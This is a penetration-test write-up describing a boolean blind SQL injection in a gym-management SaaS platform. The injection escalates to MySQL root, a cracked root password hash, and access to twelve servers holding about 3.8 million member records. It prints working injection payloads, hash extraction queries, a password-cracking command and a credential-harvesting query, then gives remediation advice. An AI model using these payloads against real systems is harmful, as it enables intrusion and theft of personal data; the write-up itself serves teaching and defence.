October 24, 2026
From a Dropdown Menu to 3.8 Million Records: Blind SQL Injection on a Multi-Tenant SaaS Platform
How a single unquoted integer in an AJAX handler gave me MySQL root on 12 servers, 131 databases, and nearly 4 million records of personal…

By zNull
11 min read
How a single unquoted integer in an AJAX handler gave me MySQL root on 12 servers, 131 databases, and nearly 4 million records of personal data during an authorized penetration test.
The Setup
The client runs a multi-tenant gym management SaaS platform. Dozens of gym businesses across the Middle East each get their own subdomain and database, but they all share the same CodeIgniter 3 codebase and server infrastructure. I was given a low-privilege staff account on one tenant the kind of account a gym receptionist would use. No admin access, no special permissions.
The goal was to see how far that access could go. The assessment covered the full platform infrastructure, including all branch servers, so the pivot stayed within the agreed scope.
Finding the Injection: Three Numbers That Changed Everything
While mapping the application's AJAX calls, I found a staff management feature. When you add a new employee, a dropdown loads their department positions through a background request:
POST /admin/staff/getposition
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
department=1
POST /admin/staff/getposition
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
department=1The response was simple, a list of HTML <option> tags:
<option value="">Select Position</option>
<option value="3">IT Manager</option>
<option value="1">GM</option>
<option value="2">CEO</option><option value="">Select Position</option>
<option value="3">IT Manager</option>
<option value="1">GM</option>
<option value="2">CEO</option>4 options. 221 bytes. That was my baseline.
The department parameter looked like a raw integer going into a WHERE clause. No quotes around it in the request. If the backend also treats it as an unquoted number in the SQL query, I can append SQL directly no need to break out of a string first.
I appended OR 1=1:
department=1 OR 1=1department=1 OR 1=122 options. 925 bytes. Every position across every department came back. The OR clause made the WHERE condition always true, so the query returned all rows.
Then the false condition:
department=1 AND 1=2department=1 AND 1=21 option. 124 bytes. The AND clause made the WHERE condition always false an empty result set, with just the default "Select Position" placeholder.
Three requests. Three distinct response sizes:
This is a boolean-based blind SQL injection in an unquoted numeric context. The "blind" part means the application doesn't show me query results directly I can only ask yes/no questions and read the answer from the response size. The "unquoted numeric" part is critical: the backend query looks something like:
SELECT * FROM positions WHERE department_id = {input} AND active = 1SELECT * FROM positions WHERE department_id = {input} AND active = 1No quotes around the input. So department=1 OR 1=1 becomes:
SELECT * FROM positions WHERE department_id = 1 OR 1=1 AND active = 1SELECT * FROM positions WHERE department_id = 1 OR 1=1 AND active = 1Valid SQL. No string escaping to bypass. No WAF signatures to dodge. Just math.
Why This Matters for Other Hunters
Most automated SQL injection scanners test for string-context injection they send a single quote (') and look for errors or behavior changes. On this endpoint, a single quote returns a 124-byte response with no visible error. The scanner marks it clean and moves on.
I know this because I ran one. My 90-test automated sweep included this exact endpoint. The result:
staff-getposition-quote: size=124, errors=''
The scanner saw 124 bytes (the FALSE response) and no error message. It concluded: not injectable. But it never tested 1 OR 1=1 it never checked whether the parameter was in an unquoted numeric context where no quotes are needed at all.
The lesson: always test numeric parameters both ways. Send the quote for string context, but also send AND 1=1 / AND 1=2 for numeric context. If you only test one, you miss half the attack surface.
Binary Search: Extracting Data One Bit at a Time
With boolean blind SQLi, I can't SELECT data and read it in the response. Instead, I ask binary questions: "Is the first character of the database user greater than ASCII 109?" If YES, I get 221 bytes (4 options). If NO, I get 124 bytes (1 option). By bisecting the ASCII range, I can extract any character in about 7 requests.
Extracting the Database User
First question: who is this application connected as?
department=1 AND ASCII(SUBSTRING(user(),1,1))>109
→ 221 bytes (TRUE: first char is above 'm')
department=1 AND ASCII(SUBSTRING(user(),1,1))>118
→ 124 bytes (FALSE: first char is NOT above 'v')
department=1 AND ASCII(SUBSTRING(user(),1,1))>113
→ 221 bytes (TRUE: above 'q')
department=1 AND ASCII(SUBSTRING(user(),1,1))>116
→ 124 bytes (FALSE :not above 't')
department=1 AND ASCII(SUBSTRING(user(),1,1))>114
→ 124 bytes (FALSE :not above 'r')
department=1 AND ASCII(SUBSTRING(user(),1,1))=114
→ 221 bytes (TRUE: it IS 114)department=1 AND ASCII(SUBSTRING(user(),1,1))>109
→ 221 bytes (TRUE: first char is above 'm')
department=1 AND ASCII(SUBSTRING(user(),1,1))>118
→ 124 bytes (FALSE: first char is NOT above 'v')
department=1 AND ASCII(SUBSTRING(user(),1,1))>113
→ 221 bytes (TRUE: above 'q')
department=1 AND ASCII(SUBSTRING(user(),1,1))>116
→ 124 bytes (FALSE :not above 't')
department=1 AND ASCII(SUBSTRING(user(),1,1))>114
→ 124 bytes (FALSE :not above 'r')
department=1 AND ASCII(SUBSTRING(user(),1,1))=114
→ 221 bytes (TRUE: it IS 114)ASCII 114 =
r.
I continued character by character: r-o-o-t-@-l-o-c-a-l-h-o-s-t
root@localhost.
The application connects to MySQL as root. Not a restricted app user. Not a read-only account. Root. On a multi-tenant platform where every gym's database sits on the same server.
Counting the Databases
department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)>30
→ 221 bytes (TRUE)
department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)>35
→ 124 bytes (FALSE)
department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)=34
→ 221 bytes (TRUE)department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)>30
→ 221 bytes (TRUE)
department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)>35
→ 124 bytes (FALSE)
department=1 AND (SELECT COUNT(*) FROM information_schema.schemata)=34
→ 221 bytes (TRUE)34 databases. Each one belonging to a different gym. Each containing members' personal information, staff credentials, financial records. All accessible through root.
Not all 34 were gyms that count includes MySQL system databases (information_schema, mysql, performance_schema, sys), plus clinic, e-learning, and utility databases sharing the same server. 22 of the 34 were gym tenant databases.
I was sitting inside one tenant's position dropdown, and I could see the entire platform.
The Root Cause: One Method, All the Injections
When I sent a malformed payload (a single quote) the server returned a verbose PHP error instead of handling it gracefully:
Fatal error: Uncaught Error: Call to a member function result() on boolean
in /home/[REDACTED]/public_html/application/models/[REDACTED].php:246Fatal error: Uncaught Error: Call to a member function result() on boolean
in /home/[REDACTED]/public_html/application/models/[REDACTED].php:246The error pointed to a specific line in a central model file. I later confirmed the method a custom "helper" that takes a full SQL query as a raw string and executes it directly:
public function run_query($query) {
$query = $this->db->query("" . $query . "");
return $query->result();
}public function run_query($query) {
$query = $this->db->query("" . $query . "");
return $query->result();
}No parameterization. No escaping. The calling code in every controller does something like:
$dept = $this->input->post('department');
$result = $this->model->run_query(
"SELECT * FROM positions WHERE department_id = " . $dept
);$dept = $this->input->post('department');
$result = $this->model->run_query(
"SELECT * FROM positions WHERE department_id = " . $dept
);CodeIgniter has a Query Builder that handles parameterization automatically it's been available since version 2. This code bypasses all of it. And the same helper method was used across 12 different endpoints in 6 controllers. One bad method, one file, one line responsible for every SQL injection in the entire platform.
This is a pattern I see regularly in PHP applications: a developer writes a "helper" function that accepts raw SQL to be "flexible," and that flexibility becomes the single point of failure for the entire application.
Extracting the Root Password
I had root-level read access through the blind injection, but extraction is slow about 7 requests per character. I wanted direct database access. The question was: what's the root password?
MySQL stores password hashes in the mysql.user table. As root, I can read them. I started extracting the hash for root@localhost:
department=1 AND ASCII(SUBSTRING((SELECT authentication_string
FROM mysql.user WHERE user='root' AND host='localhost'),1,1))=42
→ TRUE (ASCII 42 = '*' - MySQL SHA1 hash prefix)department=1 AND ASCII(SUBSTRING((SELECT authentication_string
FROM mysql.user WHERE user='root' AND host='localhost'),1,1))=42
→ TRUE (ASCII 42 = '*' - MySQL SHA1 hash prefix)Character by character, I extracted the full hash:
*[REDACTED HASH]
This is a MySQL mysql_native_password hash it's a double-SHA1 of the plaintext password. I fed it to John the Ripper with the rockyou wordlist:
$ echo '*[REDACTED HASH]' > hash.txt
$ john - format=mysql-sha1 hash.txt - wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
[REDACTED] (?)
1g 0:00:00:00 DONE 9504Kp/s
Session completed.$ echo '*[REDACTED HASH]' > hash.txt
$ john - format=mysql-sha1 hash.txt - wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
[REDACTED] (?)
1g 0:00:00:00 DONE 9504Kp/s
Session completed.Under one second. The root password for the entire platform was a 5-character dictionary word in the rockyou top 10,000.
The Extraction Math
Extracting a 41-character MySQL hash via blind SQLi takes approximately:
-
41 characters × ~7 requests per character = ~287 requests
-
At 1 request per second (staying below detection): ~5 minutes
-
Total data transferred: ~287 × 1KB average response = ~287KB
It looks like normal application traffic. No massive payloads, no error flooding, no unusual request patterns. Just a staff member repeatedly loading department positions if anyone was watching the logs, which nobody was.
From One Server to Twelve
Now I had the credential. The next question was whether MySQL was accessible remotely. A quick port scan answered that:
$ nmap -Pn -sT -p 3306 [server-ip] - reason
PORT STATE SERVICE REASON
3306/tcp open mysql syn-ack$ nmap -Pn -sT -p 3306 [server-ip] - reason
PORT STATE SERVICE REASON
3306/tcp open mysql syn-ackOpen. No firewall. No IP whitelist. No VPN requirement. MySQL accepts connections from the entire internet.
$ mysql -h [server-ip] -u root -p[REDACTED] -e "SELECT user(), @@hostname, @@version;"$ mysql -h [server-ip] -u root -p[REDACTED] -e "SELECT user(), @@hostname, @@version;"user() : root@[my-ip] @@hostname : [REDACTED] @@version : 5.7.42–0ubuntu0.18.04.1
=> Direct root access.
From here, I queried the database and found that each gym's branches table stores connection details for all its branch locations including the hostname, username, and password for each branch's database server:
SELECT name, host, username, password, `database` FROM branches;SELECT name, host, username, password, `database` FROM branches;
Every branch. Every server. Same credential. And the hostnames in these tables pointed to servers I hadn't found through DNS enumeration the database was mapping the infrastructure for me.
I resolved each hostname and tested the credential:
| # | Server | Root Access | Gym DBs | Members |
| - -| - - - - |: - - - - - -:|: - - - -:| - - - - :|
| 1 | Budget VPS (EU) | Yes | 22 | ~740K |
| 2 | Budget VPS (EU) | Yes | 21 | ~536K |
| 3 | Budget VPS (EU) | Denied | - | - |
| 4 | Budget VPS (EU) | Yes | 7 | ~120K |
| 5 | Budget VPS (EU) | Yes | 17 | ~478K |
| 6 | Budget VPS (EU) | Yes | 16 | ~329K |
| 7 | Budget VPS (EU) | Yes | 5 | ~39K |
| 8 | Budget VPS (EU) | Yes | 2 | ~117K |
| 9 | Budget VPS (EU) | Yes | 14 | ~374K |
| 10 | Budget VPS (EU) | Yes | 13 | ~506K |
| 11 | Budget VPS (EU) | Yes | 5 | ~121K |
| 12 | Budget VPS (EU) | Yes | 7 | ~93K |
| 13 | Budget VPS (EU) | Yes | 2 | ~101K |
| | Total | 12 of 13 | ~131 | ~3.8M || # | Server | Root Access | Gym DBs | Members |
| - -| - - - - |: - - - - - -:|: - - - -:| - - - - :|
| 1 | Budget VPS (EU) | Yes | 22 | ~740K |
| 2 | Budget VPS (EU) | Yes | 21 | ~536K |
| 3 | Budget VPS (EU) | Denied | - | - |
| 4 | Budget VPS (EU) | Yes | 7 | ~120K |
| 5 | Budget VPS (EU) | Yes | 17 | ~478K |
| 6 | Budget VPS (EU) | Yes | 16 | ~329K |
| 7 | Budget VPS (EU) | Yes | 5 | ~39K |
| 8 | Budget VPS (EU) | Yes | 2 | ~117K |
| 9 | Budget VPS (EU) | Yes | 14 | ~374K |
| 10 | Budget VPS (EU) | Yes | 13 | ~506K |
| 11 | Budget VPS (EU) | Yes | 5 | ~121K |
| 12 | Budget VPS (EU) | Yes | 7 | ~93K |
| 13 | Budget VPS (EU) | Yes | 2 | ~101K |
| | Total | 12 of 13 | ~131 | ~3.8M |12 out of 13 servers. Same 5-character password everywhere. One dropdown menu in a staff panel led to root access on 12 servers across two countries, containing 131 databases and approximately 3.8 million member records.
What Was Inside
Once I had direct database access, the scope of exposed data was staggering:
Member PII: 3.8 Million People
Every gym database follows the same schema. The members table contains:
| Field | Example Exposure |
| - - - -| - - - - - - - - -|
| Full name | First, middle, last |
| Phone number | Primary + secondary |
| National ID | Government-issued identification |
| Email address | Personal email |
| Home address | Full street address |
| Date of birth | Used for identity verification elsewhere |
| Cleartext password | Stored in a dedicated plaintext column - yes, readable as-is |
| Membership details | Package type, payment history, expiry dates || Field | Example Exposure |
| - - - -| - - - - - - - - -|
| Full name | First, middle, last |
| Phone number | Primary + secondary |
| National ID | Government-issued identification |
| Email address | Personal email |
| Home address | Full street address |
| Date of birth | Used for identity verification elsewhere |
| Cleartext password | Stored in a dedicated plaintext column - yes, readable as-is |
| Membership details | Package type, payment history, expiry dates |On the first server alone 22 databases there were tens of thousands of cleartext passwords and national IDs. Multiply that pattern across 12 servers.
Beyond Gyms
Not every database on these servers was a gym. The same infrastructure also hosted:
-
A physiotherapy clinic system: thousands of patient records with medical status fields across 2 databases. Same PII fields as gyms, plus health data.
-
An e-learning platform: tens of thousands of student records with course enrollments, exam answers, and payment data.
-
An SMS gateway: tens of thousands of phone numbers with campaign histories and sending server API credentials.
-
Network router management: Plaintext admin credentials for routers at gym locations stored in the database.
The router credentials are particularly dangerous. An attacker who gets this far can pivot from database access to network infrastructure control manipulating firewall rules, intercepting traffic, or establishing persistent backdoor access that survives a database password change.
The Second Vector: Unauthenticated UNION SQLi
While doing additional testing, I found a second SQL injection this one far more accessible than the first.
GET /admin/[REDACTED]?query=test' UNION SELECT 1,2,user(),4,…,79 FROM dual - -GET /admin/[REDACTED]?query=test' UNION SELECT 1,2,user(),4,…,79 FROM dual - -This endpoint had 79 UNION columns and required zero authentication. No login needed. The response included query results directly in the JSON output no blind extraction required. It was a straight UNION-based injection as root.
This means an attacker didn't even need the staff account I started with. They could walk up to this search endpoint from the internet and start pulling data immediately.
Same root cause: the same raw SQL method in the same model file. Same concatenation. Same lack of parameterization. Different endpoint, same vulnerability pattern.
The Full Kill Chain
Receptionist-level staff account
│
â–¼
POST /admin/staff/getposition (department=1 OR 1=1)
│ Boolean blind SQLi - unquoted numeric context
│ Three-state differential: 221B / 925B / 124B
│
â–¼
Extract user() via ASCII binary search → root@localhost
│ ~7 requests per character, looks like normal traffic
│
â–¼
Count databases → 34 on this server
│
â–¼
Extract root password hash from mysql.user
│ ~287 requests, ~5 minutes
│
â–¼
Crack hash: *[REDACTED]…→ 5-char password (rockyou, <1 second)
│
â–¼
Port 3306 open to internet → Direct MySQL root login
│
â–¼
Query branches tables → Discover 12 more servers
│ Same credential on all of them
│
â–¼
12 servers, 131 databases, 3,863,800 member records
│ + medical data, student records, SMS gateway, router creds
│
â–¼
Full platform compromise from a dropdown menuReceptionist-level staff account
│
â–¼
POST /admin/staff/getposition (department=1 OR 1=1)
│ Boolean blind SQLi - unquoted numeric context
│ Three-state differential: 221B / 925B / 124B
│
â–¼
Extract user() via ASCII binary search → root@localhost
│ ~7 requests per character, looks like normal traffic
│
â–¼
Count databases → 34 on this server
│
â–¼
Extract root password hash from mysql.user
│ ~287 requests, ~5 minutes
│
â–¼
Crack hash: *[REDACTED]…→ 5-char password (rockyou, <1 second)
│
â–¼
Port 3306 open to internet → Direct MySQL root login
│
â–¼
Query branches tables → Discover 12 more servers
│ Same credential on all of them
│
â–¼
12 servers, 131 databases, 3,863,800 member records
│ + medical data, student records, SMS gateway, router creds
│
â–¼
Full platform compromise from a dropdown menu
Total time from first injection to full infrastructure access: under 2 hours.
No exploit kits. No zero-days. No social engineering. A missing (int) cast on a POST parameter, a root database connection, and a reused 5-character password.
What Went Wrong And How to Fix It:
1. Raw SQL Concatenation
The vulnerability: One helper method that accepts raw SQL strings, used across 12 endpoints.
The fix: Use parameterized queries. CodeIgniter's Query Builder has done this correctly since version 2:
// Vulnerable
$this->model->run_query("SELECT * FROM positions WHERE department_id = " . $dept);
// Fixed
$dept = (int) $this->input->post('department');
$this->db->where('department_id', $dept);
$query = $this->db->get('positions');// Vulnerable
$this->model->run_query("SELECT * FROM positions WHERE department_id = " . $dept);
// Fixed
$dept = (int) $this->input->post('department');
$this->db->where('department_id', $dept);
$query = $this->db->get('positions');2. Root Database Connection
The vulnerability: The web application connects as MySQL root every query has unrestricted access to every database on the server.
The fix: Create a dedicated application user per tenant with SELECT/INSERT/UPDATE/DELETE on its own database only. Even if another injection is found, the damage is contained to one tenant.
3. Shared Credentials Across Infrastructure
The vulnerability: The same 5-character root password on 12 servers. Compromise one, compromise all.
The fix: Unique, strong passwords per server. Use a secrets manager. Never hardcode or reuse credentials across infrastructure.
4. MySQL Exposed to the Internet
The vulnerability: Port 3306 open on all 13 servers. No firewall, no IP whitelist, no VPN.
The fix: Firewall MySQL to accept connections from localhost and trusted application IPs only. If branches need cross-server database access, use VPN tunnels or an API layer never raw MySQL over the internet.
5. Verbose Error Messages in Production
The vulnerability: PHP fatal errors displaying full file paths, line numbers, and stack traces.
The fix: display_errors = Off in production. Log errors to a file, don't show them to users. The stack trace gave me the exact file and line of the vulnerable code.
6. Cleartext and Unsalted Password Storage
The vulnerability: Member passwords stored in a dedicated plaintext column. Staff passwords as unsalted MD5.
The fix: bcrypt with a cost factor of 12+. Delete the plaintext password column entirely it should never exist.
Takeaways
Test numeric parameters without quotes. The automated scan tested this exact endpoint with a single quote and cleared it. The injection required no quotes at all. If you only test string-context injection, you miss every unquoted integer parameter.
Check what user the application connects as. The first thing I extracted was user(). If it had returned appuser@localhost with restricted privileges, this would have been a single-database read. The fact that it was root turned a medium finding into a platform-wide compromise.
Follow the credentials. The blind SQLi gave me the root password hash. The hash cracked in under a second. The cracked password worked over the internet. The database tables mapped the rest of the infrastructure. Each step was trivial once I had the previous step's output. That's how real attack chains work each link is simple, but the chain reaches further than any single vulnerability suggests.
Multi-tenant SaaS needs tenant isolation at every layer. Separate database users, separate credentials, separate network segments. If tenants share any credential, a breach in one is a breach in all.
One bad abstraction can be worse than no abstraction at all. The developer wrote a raw SQL helper to be "flexible." That flexibility bypassed every security control that CodeIgniter provides. The framework had parameterized queries built in the code actively chose not to use them.
This assessment was conducted under a formal penetration testing agreement. All findings were reported to the client with remediation guidance. No data was exfiltrated, modified, or retained beyond what was necessary to document the vulnerabilities. Identifying details have been redacted.